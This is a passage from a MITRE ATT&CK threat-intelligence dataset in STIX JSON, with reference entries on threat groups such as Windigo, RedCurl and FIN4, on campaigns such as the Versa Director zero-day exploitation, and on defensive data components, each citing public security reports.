2024.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/tortoiseshell-apt-supply-chain"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Windigo"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--4e868dad-682d-4897-b8df-2dc98f46c68a","type":"intrusion-set","created":"2021-02-10T19:57:38.042Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0124","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0124"},{"source_name":"ESET Windigo Mar 2014","url":"https://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/","description":"Bilodeau, O., Bureau, M., Calvet, J., Dorais-Joncas, A., Léveillé, M., Vanheuverzwijn, B. (2014, March 18). Operation Windigo – the vivisection of a large Linux server‑side credential‑stealing malware campaign. Retrieved February 10, 2021."},{"source_name":"CERN Windigo June 2019","url":"https://security.web.cern.ch/advisories/windigo/windigo.shtml","description":"CERN. (2019, June 4). 2019/06/04 Advisory: Windigo attacks. Retrieved February 10, 2021."}],"modified":"2021-04-26T22:32:57.046Z","name":"Windigo","description":"The [Windigo](https://attack.mitre.org/groups/G0124) group has been operating since at least 2011, compromising thousands of Linux and Unix servers using the [Ebury](https://attack.mitre.org/software/S0377) SSH backdoor to create a spam botnet. Despite law enforcement intervention against the creators, [Windigo](https://attack.mitre.org/groups/G0124) operators continued updating [Ebury](https://attack.mitre.org/software/S0377) through 2019.(Citation: ESET Windigo Mar 2014)(Citation: CERN Windigo June 2019)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-07-10T18:53:44.277Z","name":"Blue Mockingbird","description":"[Blue Mockingbird](https://attack.mitre.org/groups/G0108) is a cluster of observed activity involving Monero cryptocurrency-mining payloads in dynamic-link library (DLL) form on Windows systems. The earliest observed Blue Mockingbird tools were created in December 2019.(Citation: RedCanary Mockingbird May 2020)","aliases":["Blue Mockingbird"],"x_mitre_deprecated":false,"x_mitre_version":"1.3","x_mitre_contributors":["Tony Lambert, Red Canary"],"type":"intrusion-set","id":"intrusion-set--73a80fab-2aa3-48e0-a4d0-3a4828200aee","created":"2020-05-26T20:09:39.139Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0108","external_id":"G0108"},{"source_name":"RedCanary Mockingbird May 2020","description":"Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020.","url":"https://redcanary.com/blog/blue-mockingbird-cryptominer/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-23T23:11:00.562Z","name":"RedCurl","description":"[RedCurl](https://attack.mitre.org/groups/G1039) is a threat actor active since 2018 notable for corporate espionage targeting a variety of locations, including Ukraine, Canada and the United Kingdom, and a variety of industries, including but not limited to travel agencies, insurance companies, and banks.(Citation: group-ib_redcurl1) [RedCurl](https://attack.mitre.org/groups/G1039) is allegedly a Russian-speaking threat actor.(Citation: group-ib_redcurl1)(Citation: group-ib_redcurl2) The group’s operations typically start with spearphishing emails to gain initial access, then the group executes discovery and collection commands and scripts to find corporate data. The group concludes operations by exfiltrating files to the C2 servers. ","aliases":["RedCurl"],"x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_contributors":["Joe Gumke, U.S. Bank"],"type":"intrusion-set","id":"intrusion-set--82323c70-4186-4b61-94f5-b227c3b28e89","created":"2024-09-23T21:32:19.337Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G1039","external_id":"G1039"},{"source_name":"group-ib_redcurl1","description":"Group-IB. (2020, August). RedCurl: The Pentest You Didn’t Know About. Retrieved August 9, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl/"},{"source_name":"group-ib_redcurl2","description":"Group-IB. (2021, November). RedCurl: The Awakening. Retrieved August 14, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl-2/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-12T19:18:38.430Z","name":"CostaRicto","description":"[CostaRicto](https://attack.mitre.org/groups/G0132) is a suspected hacker-for-hire cyber espionage campaign that has targeted multiple industries worldwide since at least 2019. [CostaRicto](https://attack.mitre.org/groups/G0132)'s targets, a large portion of which are financial institutions, are scattered across Europe, the Americas, Asia, Australia, and Africa, with a large concentration in South Asia.(Citation: BlackBerry CostaRicto November 2020)","aliases":["CostaRicto"],"x_mitre_deprecated":true,"x_mitre_version":"1.0","type":"intrusion-set","id":"intrusion-set--bb82e0b0-6e9c-439f-970a-4c917a74c5f2","created":"2021-05-24T13:37:20.240Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0132","external_id":"G0132"},{"source_name":"BlackBerry CostaRicto November 2020","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021.","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--4dcd8ba3-2075-4f8b-941e-39884ffaac08","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.273Z","name":"Drive Modification","description":"Changes made to a drive letter or mount point of a data storage device","x_mitre_data_source_ref":"x-mitre-data-source--61bbbf27-f7c3-46ba-a6bc-48ae76928065","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-02-01T21:27:44.778Z","name":"FIN4","description":"[FIN4](https://attack.mitre.org/groups/G0085) is a financially-motivated threat group that has targeted confidential information related to the public financial market, particularly regarding healthcare and pharmaceutical companies, since at least 2013.(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye FIN4 Stealing Insider NOV 2014) [FIN4](https://attack.mitre.org/groups/G0085) is unique in that they do not infect victims with typical persistent malware, but rather they focus on capturing credentials authorized to access email and other non-public correspondence.(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye Hacking FIN4 Video Dec 2014)","aliases":["FIN4"],"x_mitre_deprecated":false,"x_mitre_version":"1.2","type":"intrusion-set","id":"intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6","created":"2019-01-31T02:01:45.129Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0085","external_id":"G0085"},{"source_name":"FIN4","description":"(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye FIN4 Stealing Insider NOV 2014)(Citation: FireEye Hacking FIN4 Video Dec 2014)"},{"source_name":"FireEye FIN4 Stealing Insider NOV 2014","description":"Dennesen, K. et al.. (2014, November 30). FIN4: Stealing Insider Information for an Advantage in Stock Trading?. Retrieved December 17, 2018.","url":"https://www.fireeye.com/blog/threat-research/2014/11/fin4_stealing_insid.html"},{"source_name":"FireEye Hacking FIN4 Video Dec 2014","description":"Vengerik, B. & Dennesen, K.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved January 15, 2019.","url":"https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html"},{"source_name":"FireEye Hacking FIN4 Dec 2014","description":"Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-fin4.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.274Z","name":"Active Directory Object Modification","description":"Changes made to an active directory object (ex: Windows EID 5163 or 5136)","x_mitre_data_source_ref":"x-mitre-data-source--d6188aac-17db-4861-845f-57c369f9b4c8","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-28T09:54:33.751Z","name":"Versa Director Zero Day Exploitation","description":"[Versa Director Zero Day Exploitation](https://attack.mitre.org/campaigns/C0039) was conducted by [Volt Typhoon](https://attack.mitre.org/groups/G1017) from early June through August 2024 as zero-day exploitation of Versa Director servers controlling software-defined wide area network (SD-WAN) applications. Since tracked as CVE-2024-39717, exploitation focused on credential capture from compromised Versa Director servers at managed service providers (MSPs) and internet service providers (ISPs) to enable follow-on access to service provider clients. [Versa Director Zero Day Exploitation](https://attack.mitre.org/campaigns/C0039) was followed by the delivery of the [VersaMem](https://attack.mitre.org/software/S1154) web shell for both credential theft and follow-on code execution.(Citation: Lumen Versa 2024)","aliases":["Versa Director Zero Day Exploitation"],"first_seen":"2024-06-01T06:00:00.000Z","last_seen":"2024-08-01T06:00:00.000Z","x_mitre_first_seen_citation":"(Citation: Lumen Versa 2024)","x_mitre_last_seen_citation":"(Citation: Lumen Versa 2024)","x_mitre_deprecated":false,"x_mitre_version":"1.0","type":"campaign","id":"campaign--af0ec65a-caa9-40ef-b1c7-21b71fbf3a10","created":"2024-08-27T18:34:35.056Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/campaigns/C0039","external_id":"C0039"},{"source_name":"Lumen Versa 2024","description":"Black Lotus Labs. (2024, August 27). Taking The Crossroads: The Versa Director Zero-Day Exploitaiton. Retrieved August 27, 2024.","url":"https://blog.lumen.com/taking-the-crossroads-the-versa-director-zero-day-exploitation/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_domains":["enterprise-attack"]},{"aliases":["Gorgon Group"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27","type":"intrusion-set","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0078","external_id":"G0078"},{"source_name":"Gorgon Group","description":"(Citation: Unit 42 Gorgon Group Aug 2018)"},{"source_name":"Unit 42 Gorgon Group Aug 2018","description":"Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"}],"modified":"2021-10-12T21:57:25.847Z","name":"Gorgon Group","description":"[Gorgon Group](https://attack.mitre.org/groups/G0078) is a threat group consisting of members who are suspected to be Pakistan-based or have other connections to Pakistan. The group has performed a mix of criminal and targeted attacks, including campaigns against government organizations in the United Kingdom, Spain, Russia, and the United States. (Citation: Unit 42 Gorgon Group Aug 2018)","x_mitre_version":"1.5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-04-05T16:50:07.875Z","name":"C0021","description":"[C0021](https://attack.mitre.org/campaigns/C0021) was a spearphishing campaign conducted in November 2018 that targeted public sector institutions, non-governmental organizations (NGOs), educational institutions, and private-sector corporations in the oil and gas, chemical, and hospitality industries. The majority of targets were located in the US, particularly in and around Washington D.C., with other targets located in Europe, Hong Kong, India, and Canada. [C0021](https://attack.mitre.org/campaigns/C0021)'s technical artifacts, tactics, techniques, and procedures (TTPs), and targeting overlap with previous suspected [APT29](https://attack.mitre.org/groups/G0016) activity.(Citation: Microsoft Unidentified Dec 2018)(Citation: FireEye APT29 Nov 2018)","aliases":["C0021"],"first_seen":"2018-11-01T05:00:00.000Z","last_seen":"2018-11-01T05:00:00.000Z","x_mitre_first_seen_citation":"(Citation: FireEye APT29 Nov 2018)(Citation: Microsoft Unidentified Dec 2018)","x_mitre_last_seen_citation":"(Citation: FireEye APT29 Nov 2018)(Citation: Microsoft Unidentified Dec 2018)","x_mitre_deprecated":false,"x_mitre_version":"1.0","type":"campaign","id":"campaign--712e38c3-a656-426a-9b3b-a6bfb63294c6","created":"2023-03-15T19:23:36.696Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/campaigns/C0021","external_id":"C0021"},{"source_name":"FireEye APT29 Nov 2018","description":"Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html"},{"source_name":"Microsoft Unidentified Dec 2018","description":"Microsoft Defender Research Team. (2018, December 3). Analysis of cyberattack on U.S. think tanks, non-profits, public sector by unidentified attackers. Retrieved April 15, 2019.","url":"https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_domains":["enterprise-attack"]},{"modified":"2023-03-22T03:55:03.775Z","name":"Frankenstein","description":"[Frankenstein](https://attack.mitre.org/campaigns/C0001) was described by security researchers as a highly-targeted campaign conducted by moderately sophisticated and highly resourceful threat actors in early 2019. The unidentified actors primarily relied on open source tools, including [Empire](https://attack.mitre.org/software/S0363). The campaign name refers to the actors' ability to piece together several unrelated open-source tool components.(Citation: Talos Frankenstein June 2019)","aliases":["Frankenstein"],"first_seen":"2019-01-01T06:00:00.000Z","last_seen":"2019-04-01T05:00:00.000Z","x_mitre_first_seen_citation":"(Citation: Talos Frankenstein June 2019)","x_mitre_last_seen_citation":"(Citation: Talos Frankenstein June 2019)","x_mitre_deprecated":false,"x_mitre_version":"1.1","type":"campaign","id":"campaign--26d9ebae-de59-427f-ae9a-349456bae4b1","created":"2022-09-07T13:40:09.750Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/campaigns/C0001","external_id":"C0001"},{"source_name":"Talos Frankenstein June 2019","description":"Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.","url":"https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_domains":["enterprise-attack"]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--f42df6f0-6395-4f0c-9376-525a031f00c3","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.271Z","name":"Scheduled Job Creation","description":"Initial construction of a new scheduled job (ex: Windows EID 4698 or /var/log cron logs)","x_mitre_data_source_ref":"x-mitre-data-source--c9ddfb51-eb45-4e22-b614-44ac1caa7883","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.272Z","name":"Application Log Content","description":"Logging, messaging, and other artifacts provided by third-party services (ex: metrics, errors, and/or alerts from mail/web applications)","x_mitre_data_source_ref":"x-mitre-data-source--40269753-26bd-437b-986e-159c66dec5e4","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Dragonfly 2.0","IRON LIBERTY","DYMALLOY","Berserk Bear"],"x_mitre_domains":["enterprise-attack","ics-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"intrusion-set","id":"intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71","created":"2018-10-17T00:14:20.652Z","x_mitre_version":"2.1","external_references":[{"source_name":"mitre-attack","external_id":"G0074","url":"https://attack.mitre.org/groups/G0074"},{"source_name":"DYMALLOY","description":"(Citation: Dragos DYMALLOY )"},{"source_name":"Berserk Bear","description":"(Citation: Fortune Dragonfly 2.0 Sept 2017)"},{"source_name":"IRON LIBERTY","description":"(Citation: Secureworks MCMD July 2019)(Citation: Secureworks IRON LIBERTY)"},{"source_name":"Dragonfly 2.0","description":"(Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) (Citation: Fortune Dragonfly 2.0 Sept 2017)"},{"source_name":"Dragos DYMALLOY ","url":"https://www.dragos.com/threat/dymalloy/","description":"Dragos. (n.d.). DYMALLOY. Retrieved August 20, 2020."},{"source_name":"Fortune Dragonfly 2.0 Sept 2017","url":"http://fortune.com/2017/09/06/hack-energy-grid-symantec/","description":"Hackett, R. (2017, September 6). Hackers Have Penetrated Energy Grid, Symantec Warns. Retrieved June 6, 2018."},{"source_name":"Secureworks MCMD July 2019","url":"https://www.secureworks.com/research/mcmd-malware-analysis","description":"Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020."},{"source_name":"Secureworks IRON LIBERTY","url":"https://www.secureworks.com/research/threat-profiles/iron-liberty","description":"Secureworks. (n.d.). IRON LIBERTY. Retrieved October 15, 2020."},{"source_name":"Symantec Dragonfly Sept 2017","url":"https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group","description":"Symantec Security Response. (2017, September 6). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017."},{"source_name":"US-CERT TA18-074A","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018."}],"x_mitre_deprecated":false,"revoked":true,"description":"[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) is a suspected Russian group that has targeted government entities and multiple U.S. critical infrastructure sectors since at least December 2015. (Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) There is debate over the extent of overlap between [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) and [Dragonfly](https://attack.mitre.org/groups/G0035), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY )","modified":"2022-05-11T14:00:00.188Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Dragonfly 2.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T00:07:05.918Z","name":"Sidewinder","description":"[Sidewinder](https://attack.mitre.org/groups/G0121) is a suspected Indian threat actor group that has been active since at least 2012. They have been observed targeting government, military, and business entities throughout Asia, primarily focusing on Pakistan, China, Nepal, and Afghanistan.(Citation: ATT Sidewinder January 2021)(Citation: Securelist APT Trends April 2018)(Citation: Cyble Sidewinder September 2020)","aliases":["Sidewinder","T-APT-04","Rattlesnake"],"x_mitre_deprecated":false,"x_mitre_version":"1.2","x_mitre_contributors":["Lacework Labs","Daniyal Naeem, BT Security"],"type":"intrusion-set","id":"intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e","created":"2021-01-27T15:57:11.183Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0121","external_id":"G0121"},{"source_name":"T-APT-04","description":"(Citation: Cyble Sidewinder September 2020)"},{"source_name":"Rattlesnake","description":"(Citation: Cyble Sidewinder September 2020)"},{"source_name":"Cyble Sidewinder September 2020","description":"Cyble. (2020, September 26). SideWinder APT Targets with futuristic Tactics and Techniques. Retrieved January 29, 2021.","url":"https://cybleinc.com/2020/09/26/sidewinder-apt-targets-with-futuristic-tactics-and-techniques/"},{"source_name":"Securelist APT Trends April 2018","description":"Global Research and Analysis Team . (2018, April 12). APT Trends report Q1 2018. Retrieved January 27, 2021.","url":"https://securelist.com/apt-trends-report-q1-2018/85280/"},{"source_name":"ATT Sidewinder January 2021","description":"Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021.","url":"https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Gelsemium"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"intrusion-set","id":"intrusion-set--99910207-1741-4da1-9b5d-537410186b51","created":"2021-11-30T16:25:49.366Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"G0141","url":"https://attack.mitre.org/groups/G0141"},{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"x_mitre_deprecated":true,"revoked":false,"description":"[Gelsemium](https://attack.mitre.org/groups/G0141) is a cyberespionage group that has been active since at least 2014, targeting governmental institutions, electronics manufacturers, universities, and religious organizations in East Asia and the Middle East.(Citation: ESET Gelsemium June 2021)","modified":"2022-05-04T22:15:12.759Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Gelsemium","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:19:20.934Z","name":"Higaisa","description":"[Higaisa](https://attack.mitre.org/groups/G0126) is a threat group suspected to have South Korean origins. [Higaisa](https://attack.mitre.org/groups/G0126) has targeted government, public, and trade organizations in North Korea; however, they have also carried out attacks in China, Japan, Russia, Poland, and other nations. [Higaisa](https://attack.mitre.org/groups/G0126) was first disclosed in early 2019 but is assessed to have operated as early as 2009.(Citation: Malwarebytes Higaisa 2020)(Citation: Zscaler Higaisa 2020)(Citation: PTSecurity Higaisa 2020)","aliases":["Higaisa"],"x_mitre_deprecated":false,"x_mitre_version":"1.1","x_mitre_contributors":["Daniyal Naeem, BT Security"],"type":"intrusion-set","id":"intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3","created":"2021-03-05T18:54:56.267Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0126","external_id":"G0126"},{"source_name":"Malwarebytes Higaisa 2020","description":"Malwarebytes Threat Intelligence Team. (2020, June 4). New LNK attack tied to Higaisa APT discovered. Retrieved March 2, 2021.","url":"https://blog.malwarebytes.com/threat-analysis/2020/06/higaisa/"},{"source_name":"PTSecurity Higaisa 2020","description":"PT ESC Threat Intelligence. (2020, June 4). COVID-19 and New Year greetings: an investigation into the tools and methods used by the Higaisa group. Retrieved March 2, 2021.","url":"https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/covid-19-and-new-year-greetings-the-higaisa-group/"},{"source_name":"Zscaler Higaisa 2020","description":"Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021.","url":"https://www.zscaler.com/blogs/security-research/return-higaisa-apt"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["APT30"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--f047ee18-7985-4946-8bfb-4ed754d3a0dd","type":"intrusion-set","created":"2017-05-31T21:31:51.026Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0013","external_id":"G0013"},{"source_name":"APT30","description":"(Citation: FireEye APT30) (Citation: Baumgartner Golovkin Naikon 2015)"},{"url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","source_name":"FireEye APT30"},{"url":"https://securelist.com/the-naikon-apt/69953/","description":"Baumgartner, K., Golovkin, M.. (2015, May 14). The Naikon APT. Retrieved January 14, 2015.","source_name":"Baumgartner Golovkin Naikon 2015"}],"modified":"2020-07-29T19:34:28.999Z","name":"APT30","description":"[APT30](https://attack.mitre.org/groups/G0013) is a threat group suspected to be associated with the Chinese government. While [Naikon](https://attack.mitre.org/groups/G0019) shares some characteristics with [APT30](https://attack.mitre.org/groups/G0013), the two groups do not appear to be exact matches.(Citation: FireEye APT30)(Citation: Baumgartner Golovkin Naikon 2015)","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-07T16:16:55.269Z","name":"Script Execution","description":"The execution of a text file that contains code via the interpreter (e.g. Powershell, WMI, Windows EID 4104, etc.)","x_mitre_data_source_ref":"x-mitre-data-source--12c1e727-7fa4-49b6-af81-366ed2ce231e","x_mitre_deprecated":false,"x_mitre_version":"1.1","type":"x-mitre-data-component","id":"x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd","created":"2021-10-20T15:05:19.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Windshift","Bahamut"],"x_mitre_domains":["enterprise-attack","mobile-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--afec6dc3-a18e-4b62-b1a4-5510e1a498d1","type":"intrusion-set","created":"2020-06-25T17:16:39.168Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0112","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0112"},{"source_name":"Bahamut","description":"(Citation: SANS Windshift August 2018)"},{"source_name":"SANS Windshift August 